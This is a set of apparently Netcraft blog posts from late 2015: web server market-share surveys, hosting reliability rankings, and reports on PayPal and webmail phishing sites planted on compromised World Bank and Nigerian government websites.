December 2015 Web Server Survey

In the December 2015 survey we received responses from 901,002,770 sites and 5,579,077 web-facing computers, reflecting a loss of 2.0 million sites, but a gain of 39,900 computers.

Apache suffered the largest loss of 13.4 million sites, followed by Microsoft, which lost 5.0 million. A good part of this month's overall losses were caused by expired .xyz domains, which resulted in nearly 9 million .xyz websites disappearing from the internet. Despite the widespread losses caused by the demise of these websites, nginx managed to gain 7.1 million sites overall, which was the largest growth seen by any web server vendor.

The .xyz top-level domain was made available to the general public on 2 June 2014 and immediately received strong support from Network Solutions, which registered nearly 100,000 .xyz domains during the first ten days of operation. Controversially, Network Solutions gave away many .xyz domains for free to customers who already had the corresponding domain under the .com TLD. This was done on an opt-out basis, and the domains were only free for the first year, leaving some customers surprised when each domain became due for renewal at a cost of $38 this year.

Google's parent company, Alphabet Inc, is one of the most notable users of the .xyz TLD with the domain abc.xyz, while some of the other popular .xyz sites include adult sites and torrent search engines. The .xyz TLD has also proven reasonably popular with fraudsters: Netcraft found phishing sites on 150 .xyz domains throughout November 2015.

This month's changes have caused Apache's leading market share to fall by 1.41 points to 35.6%, while nginx's site share has increased to 17.4%. A little over a year ago, Microsoft was in the lead, but has recently been floating around in second place, currently 9.2 percentage points ahead of nginx, and 9.0 behind Apache.

As well as gaining the largest number of sites this month, nginx also showed the largest growth in terms of web-facing computers, growing by 17,000 to reach a total of 765,000. Despite their site losses, Apache and Microsoft also gained a reasonable number of web-facing computers (10,400 and 6,100), while Lighttpd and Google suffered small losses.

A relatively unknown web server, Safedog, was found serving nearly ten times as many websites as last month, making it now the 7th most commonly used web server software with 6.3 million hostnames. However, the number of web-facing computers with Safedog installed is very low – less than 300 – and nearly all of these are running the deprecated Windows Server 2003 operating system. All websites using this Chinese server software claim to be running Safedog 4.0.0, which appears to be a cloud security system.

2015 has been a turbulent year in terms of hostnames, with the total number of sites rising from 877 million in January, to 901 million in December, but dipping as low as 849 million in April. Apache has continued to lead the market throughout the year, with Microsoft following in second place, getting to within 4.1 percentage points of Apache's share in October. In web-facing computers, nginx has shown remarkably consistent growth in its market share, while both Apache and Microsoft have declined. nginx is now installed on 13.71% of all web-facing computers, compared with 11.03% at the start of the year, and its market share within the top million sites has also grown noticeably from 21.09% to 24.29%.

Total number of websites

Web server market share

DeveloperNovember 2015PercentDecember 2015PercentChange
Apache334,095,10237.00%320,676,75935.59%-1.41
Microsoft244,906,58627.12%239,927,01326.63%-0.49
nginx149,967,73316.61%157,001,01817.43%0.82
Google19,622,6242.17%20,362,6782.26%0.09
Continue reading

Most Reliable Hosting Company Sites in November 2015

Rank Performance Graph OS Outage
hh:mm:ss
Failed
Req%
DNS Connect First
byte
Total
1 One.com Linux 0:00:00 0.000 0.211g 0.035 0.100 0.100
2 GoDaddy.com Inc Linux 0:00:00 0.009 0.258 0.008 0.019 0.020
3 Datapipe Linux 0:00:00 0.009 0.145 0.012 0.025 0.031
4 XILO Communications Ltd. Linux 0:00:00 0.009 0.213 0.063 0.126 0.126
5 EveryCity SmartOS 0:00:00 0.009 0.094 0.065 0.131 0.131
6 Anexia Linux 0:00:00 0.009 0.191 0.083 0.169 0.169
7 Hivelocity Linux 0:00:00 0.009 0.174 0.087 0.174 0.174
8 Lightcrest unknown 0:00:00 0.013 0.278 0.007 0.019 0.023
9 INetU Linux 0:00:00 0.013 0.146 0.066 0.131 0.131
10 ServerStack Linux 0:00:00 0.013 0.130 0.066 0.132 0.132

See full table

One.com topped the table after successfully responding to all of Netcraft's requests in November. It last appeared in the top 10 in June 2015 when it placed ninth. The Denmark-based company offers shared hosting packages — all of which include unlimited traffic — from data centres operated by Interxion.

After having the most reliable hosting company site for the past three months, GoDaddy narrowly missed the top spot in November. Although five other sites also had two failed requests, GoDaddy's site is placed second based on its faster average connection time of 8ms.

Also with just two failed requests, Datapipe placed third in November. Datapipe has appeared in all but one of the top 10 lists in 2015 and has maintained a 100% uptime record for more than nine years. For the seventh time, Datapipe was recognised as one of New Jersey's 50 fastest growing companies, after a year that included the acquistion of GoGrid and DualSpark.

The top 10 is once again dominated by websites using Linux, which is used by eight of the top 10 sites. EveryCity, the only site that has been in the top 10 for every month of this year so far, uses SmartOS. Microsoft Windows is absent from the list for the fifth consecutive month.

Netcraft measures and makes available the response times of around forty leading hosting providers' sites. The performance measurements are made at fifteen minute intervals from separate points around the internet, and averages are calculated over the immediately preceding 24 hour period.

From a customer's point of view, the percentage of failed requests is more pertinent than outages on hosting companies' own sites, as this gives a pointer to reliability of routing, and this is why we choose to rank our table by fewest failed requests, rather than shortest periods of outage. In the event the number of failed requests are equal then sites are ranked by average connection times.

Information on the measurement process and current measurements is available.

World Bank hacked by PayPal phishers

Hackers have broken into a website operated by the World Bank Group, which was subsequently exploited to host a convincing PayPal phishing site. The fraudulent content deployed on the site was able to benefit from the presence of a valid Extended Validation SSL certificate.

Extended Validation certificates can only be issued to organisations that have gone through a stringent set of verification steps, as required by the CA/Browser Forum. To recognise the high level of assurance offered by an EV certificate, most browser software will display the organisation's name in a prominent green box next to the address bar.

A PayPal phishing site, using an Extended Validation SSL certificate issued to the World Bank Group.

A PayPal phishing site, using an Extended Validation SSL certificate issued to the World Bank Group.

The EV vetting process effectively guarantees that the domain used in this attack is operated by the organisation specified in the certificate, which in this case is the World Bank Group. Implicatively, any visitor to this site is likely to trust the content it displays.

But of course, this guarantee goes out the window if the site has been compromised by an attacker. That's exactly what happened on Tuesday, when fraudsters deployed a PayPal phishing site into a directory on climatesmartplanning.org, allowing the fraudulent content to be served with an EV certificate issued to The World Bank Group.

The Climate-Smart Planning Platform is an initiative led by The World Bank, which makes it easier for developing-country practitioners to locate and access the tools, data and knowledge they need for climate-smart planning. Given its noble goals, it seems a shame that its website has been affected by this fraudulent activity.

The day after the attack, the website became temporarily unavailable (displaying only a Red Hat Enterprise Linux test page), before later coming back online with the fraudulent content removed. But today, it became evident that the site is still vulnerable to attack, as its homepage has now been defaced by a group called "Virus iraq".

A World Bank Group website hacked by "Virus iraq".

A World Bank Group website hacked by "Virus iraq" (19 November, 2015).

This is not the only time The World Bank's reputation has been tainted by the work of fraudsters – its name is also often used in 419 scams.

Tuesday's phishing attack started off by asking the victim to enter his or her PayPal email address and password. These credentials were submitted to a logcheck.php script on the server, which carried out some validation to prevent bogus data clogging up the phisher's haul.

The phishing site rejects invalid email addresses.

The phishing site rejects invalid email addresses.

After logging these stolen credentials, the phishing site claims it is temporarily unable to load the user's account. The victim is prompted to confirm their "informations" in order to access their account.

The next page asks for several details that would help the fraudster carry out identity theft. These details include the victim's name, date of birth, address and phone number. After these have been submitted, the victim is prompted to confirm payment card details by entering his full card number, expiry date and CSC (CVV) number.

The previous page also has a checkbox to specify whether or not the victim's card uses Verified by Visa or MasterCard SecureCode. If this box is checked, the next page will prompt the user to enter his 3-D Secure password, thus allowing the attacker to make fraudulent purchases on sites that are are protected by these additional layers of security.

Stealing the victim's 3-D Secure password.

Stealing the victim's 3-D Secure password.

After this final password has been stolen, the victim is redirected to the genuine PayPal website, leaving the attacker with the ability to make fraudulent purchases using either the victim's PayPal account or credit card.

At the time of writing, the Climate-Smart Planning Platform website remains defaced, but the phishing content has been removed.

November 2015 Web Server Survey

In the November 2015 survey we received responses from 902,997,800 sites and 5,539,129 web-facing computers. This reflects a monthly gain of 24.7 million sites, and 47,200 computers.

This month's website growth was dominated by Apache, which gained nearly 31 million sites – more than eight times as many as nginx, which had the second largest growth amongst the top three. Helped by a loss of 22 million Microsoft-powered websites, Apache's market share has increased to 37%, with its lead over Microsoft more than doubling to 9.9 percentage points.

This sizeable shift in market shares can be mostly attributed to 17 million websites whose domain names became due for renewal. This caused them to be moved from IIS servers to a set of domain holding pages hosted on Apache servers.

Despite Apache also having the greatest growth in web-facing computers this month, with an increase of 23,405 computers, its market share grew by just 0.03 percentage points. In contrast, nginx's similar growth of 21,004 computers increased its market share by 0.27 percentage points.

The number of web-facing computers using each vendor's software serves as a more stable metric, due in part to the cost of provisioning machines. Conversely, website counts are more prone to large fluctuations, as a single computer can serve countless websites at little incremental cost.

Demonstrating this disconnect, Tengine – an nginx fork developed by Alibaba – made a significant contribution to the overall growth in hostnames despite being used on only 5,100 web-facing computers. While the number of sites using this server grew by nearly 30%, rising to 42 million, the number of active sites using Tengine actually fell by 5%.

nginx continues to increase its presence amongst the top million sites. It now powers an additional 2,708 of the top sites, with Apache, Microsoft and Google each losing out to make room. nginx also showed the largest active sites growth in November, growing by 1.6 million (+6.2%) to reach a total of 27.9 million.

Since the launch of Yunjiasu ("fast cloud") in December 2014, more than 2.5 million sites (and 108,000 active sites) are now being served by a modified version of nginx called yunjiasu-nginx, making it the 10th most commonly used web server software by hostnames. Most of this growth has taken place in the last few months, with the total number of sites using this server growing by more than 5x since August.

Yunjiasu is operated by Chinese search engine giant Baidu, in collaboration with CloudFlare, who are responsible for the similar cloudflare-nginx server that is currently used by more than 5 million sites. Baidu's Yunjiasu offers the same features and functionality as CloudFlare (CDN, DNS, DDoS protection, etc.), but it is optimised for performance and regulatory controls within China.

By combining Baidu's network of 17 mainland China data centers with CloudFlare's 47 data centers outside of China, it is possible to start addressing some of the performance issues that have been dampening the appeal of Chinese hosting companies. For example, the largest hosting company in China, Aliyun, only allows its customers to host websites within China, and although it provides its own CDN service, all of the nodes are also within China. Websites that are hosted in China, and available across the combined CloudFlare/Baidu network, will benefit from much greater availability and faster load times from outside of China. Symmetrically, websites that are hosted outside of China will load faster and become much more available within China.

One of the first customers to be served across Baidu's network was TechCrunch, whose local Chinese edition (techcrunch.cn) was previously only available about 50% of the time within mainland China. CloudFlare claims that it now achieves nearly 100% availability, with an average page load time of 2.5 seconds rather than 17. CloudFlare customers must explicitly opt in to enjoy the performance benefits of the China network: To overcome technical, economic and regulatory issues, Baidu operates all services within China, while CloudFlare operates all of those outside, and by default, no CloudFlare customer traffic will pass through the China network.

Total number of websites

Web server market share

DeveloperOctober 2015PercentNovember 2015PercentChange
Apache303,234,89734.53%334,095,10237.00%2.47
Microsoft267,012,32230.40%244,906,58627.12%-3.28
nginx146,229,30716.65%149,967,73316.61%-0.04
Google19,931,8622.27%19,622,6242.17%-0.10
Continue reading

Most Reliable Hosting Company Sites in October 2015

Rank Performance Graph OS Outage
hh:mm:ss
Failed
Req%
DNS Connect First
byte
Total
1 GoDaddy.com Inc Linux 0:00:00 0.000 0.255 0.007 0.019 0.019
2 Swishmail FreeBSD 0:00:00 0.000 0.153 0.062 0.123 0.166
3 XILO Communications Ltd. Linux 0:00:00 0.000 0.224 0.063 0.126 0.126
4 Datapipe Linux 0:00:00 0.004 0.156 0.012 0.025 0.032
5 Qube Managed Services Linux 0:00:00 0.004 0.148 0.043 0.088 0.088
6 EveryCity SmartOS 0:00:00 0.004 0.092 0.066 0.133 0.133
7 Anexia Linux 0:00:00 0.004 0.187 0.085 0.171 0.172
8 Hivelocity Hosting Linux 0:00:00 0.004 0.185 0.091 0.181 0.181
9 Bigstep Linux 0:00:00 0.013 0.160 0.060 0.122 0.122
10 Memset Linux 0:00:00 0.013 0.157 0.063 0.160 0.246

See full table

For the third month in a row, GoDaddy has had the most reliable hosting company site. It responded to every availability request made by Netcraft throughout October, with an average connection time of just 7 milliseconds. This is the sixth time this year that GoDaddy has featured in the top ten.

On 29 October, GoDaddy announced a new 'best-in-class' partner offer with AdAgility for customers of its GoDaddy Pro programme. This additional feature allows web designers and developers to take greater control over the advertising content on their sites.

Swishmail has risen to second place for reliability this month. This is now its third appearance in the top ten since January, with the last appearance—in July—placing it tenth. Like GoDaddy, Swishmail responded to all of the availability requests made by Netcraft throughout October; however, the average connection time sat higher at 62 milliseconds.

XILO Communications Ltd. saw a return to the top three most reliable hosting companies this month for the first time since January. Like GoDaddy and Swishmail, 100% of the availability requests made by Netcraft received a response. With an average connection time of 63 milliseconds, this makes it the eighth time this year that XILO Communications Ltd. has made it into the top ten.

Yet again, the table this month is dominated by Linux, which is used by eight of the top ten sites. EveryCity uses the SmartOS community fork of OpenSolaris, while Swishmail uses the FreeBSD operating system. This is now the fourth month in a row where Microsoft Windows has been completely absent from the top ten.

Netcraft measures and makes available the response times of around forty leading hosting providers' sites. The performance measurements are made at fifteen minute intervals from separate points around the internet, and averages are calculated over the immediately preceding 24 hour period.

From a customer's point of view, the percentage of failed requests is more pertinent than outages on hosting companies' own sites, as this gives a pointer to reliability of routing, and this is why we choose to rank our table by fewest failed requests, rather than shortest periods of outage. In the event the number of failed requests are equal then sites are ranked by average connection times.

Information on the measurement process and current measurements is available.

Nigerian government serving up fresh phish

The Financial Reporting Council of Nigeria is currently serving a webmail phishing site from its own government domain.

The phishing content is based on a ready-to-go phishing kit that is distributed as a zip file. It contains easily-customisable PHP scripts and images designed to trick victims into surrendering either their Yahoo, Gmail, Hotmail or AOL passwords.

Gmail phishing content served from a Nigerian government website.

Gmail phishing content served from a Nigerian government website.

In this case, the kit has been deployed within an images directory on a Nigerian government website at financialreportingcouncil.gov.ng, which suggests that the site may have been compromised by a remote attacker. The same phishing kit has also been used to deploy phishing sites on several other websites over the past nine months.

After a victim enters his or her email credentials into the phishing site, both the username and password are transmitted via email directly to the fraudster. These emails also contain the victim's IP address, and a third-party web service is used to deduce which country the victim is in.

After stealing the victim's email credentials, the phishing site inexplicably redirects the browser to the Saatchi Art investment website at http://explore.saatchiart.com/invest-in-art/. This does not appear to be in any way connected to the fraudulent activity.

One of the PHP scripts found within the phishing kit.

One of the PHP scripts found within the phishing kit.

Unlike conventional phishing attacks against banks, attacks that aim to harvest email credentials typically have no immediate financial return; but access to a single victim's email account can often facilitate unauthorised access to several other accounts. With minimal effort, the fraudster can easily discover which websites the victim uses, and then submit password reset requests to those websites. As a bonus, the compromised email account can also be abused to send phishing emails to additional victims, as well as providing a source of valid email addresses.

The majority of Nigeria's government websites, including the one operated by the Financial Reporting Council, are hosted in the United States. It is not apparent how the phishing content has ended up on financialreportingcouncil.gov.ng, although one possible route of compromise could be the unsupported Joomla! CMS software installed on the server. It is still using Joomla! 2.5.28, which reached End of Life status at the end of 2014, meaning that it no longer receives security updates or bug fixes.

However, the Joomla! Security Centre does not document any publicly-known vulnerabilities that affect version 2.5.28. Nonetheless, the use of unsupported software on a public-facing website often catches the attention of hackers, as it is generally indicative of poor security practices elsewhere, and thus attracts further scrutiny. Unless the server was compromised via an undocumented 0-day vulnerability in Joomla!, it may well have been compromised via a different route.